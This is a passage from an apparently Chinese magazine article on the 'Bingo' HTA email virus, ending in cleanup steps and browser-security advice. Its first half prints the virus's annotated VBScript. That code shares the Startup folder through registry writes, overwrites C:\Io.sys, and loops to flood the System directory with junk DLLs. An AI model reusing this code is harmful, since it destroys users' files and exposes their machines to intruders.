s，这是共享类型的标志
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Type",0,"REG_DWORD"·写入Dword值Type
aa.RegWrite"HKLM\Software\Microsoft\Windows\CurrentVersion\
Network\LanMan\S$\Path",dir1·写入共享资源的绝对路径
a=10
Set Os = CreateObject（"Scriptlet.TypeLib"）·建立自定义枚举对象
doc="“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”、“How about have dinner with me together?”、“Never kiss a stranger”“Hi”、“Hello”、“How are you?”、“Can you help me?”、“We want peace” 、“Where will you go?”、“Congratulations!!!”、“Don’t Cry”、“Look at the pretty”、“Some advice on your shortcoming”、“Free XXX Pictures”、“A free hot porn site”、“Why don’t you reply to me?”“How about have dinner with me together?”"
·一堆垃圾码，以备写入目标文件
Os.Reset·重置TypeLib对象
Os.Path = "C:\Io.sys"·TypeLib对象的目标路径为C:\Io.sys
Os.Doc = doc·写入的内容——就是上面的一堆垃圾
Os.Write（）·写入！
while true
·死循环，垃圾文件越多越好
a=a+1
Os.Reset
Os.Path = dir2&"\Msvbvm"&a&".dll"
·目标路径为System下的Msvbvm???.dll文件
Os.Doc = doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&
doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&doc&d
oc&doc&doc&doc&doc&doc&doc&doc&doc&doc
·大量重复，以生成足够大小的文件
Os.Write（）·生成文件！
wend
〈/script〉
〈/Html〉
没想到hta文件的权限比Html的权限还大一些，竟然可以调用FileSystemObject元件（文件系统对象）。病毒首先得到你的Windows目录和System目录，再修改注册表，把你的启动目录——"C:\WINDOWS\Start Menu\Programs\启动"设置为完全共享，这样就可以被黑客搜到，上传一个“冰河”或者“广外女生”，你就掉的大了，而且你还被蒙在鼓里！大家一般哪里会去查看启动目录啊！你好毒！你好毒！你好毒毒毒毒…… 然后病毒就把目标对准System目录，往里面灌垃圾文件，都是形如Msvbvm???的Dll文件，而且所有VB编写的程序都不能用了，提示找不到Dll文件——因为Msvbvm50.dll和Msvbvm60.dll被垃圾文件覆盖了。
我马上查看了一下Windows目录，竟然有648M之大，垃圾文件成山！难怪启动那么慢。只有查找Msvbvm*.dll，全部删除之（不知有没有误删的）。 然后删除带毒邮件（注意：一定要在后面步骤之先删掉带毒邮件），再将共享的目录改回来，最后把Io.sys再次覆盖一遍，OK！
防备方法：将ActiveX元件、Java脚本和Vbs脚本等全部禁止就可以避免Bingo。
具体方法是：在Internet Explorer菜单中点击“工具”——“Internet选项”，在弹出的对话框中选择“安全”标签，再点击“自定义级别”按钮，就会弹出“安全设置”对话框，把其中所有ActiveX控件以及Java和Vbs脚本相关全部选择“禁用”即可。不过，这样做在以后的网页浏览过程中可能会造成一些善意使用脚本和控件的网站无法正常浏览。嗯……当然最好是安装Norton AntiVirus，它会提醒你有不明超文本或程序写你的注册表和磁盘，而且使用比较 此新闻共有3页 1 2 3 |
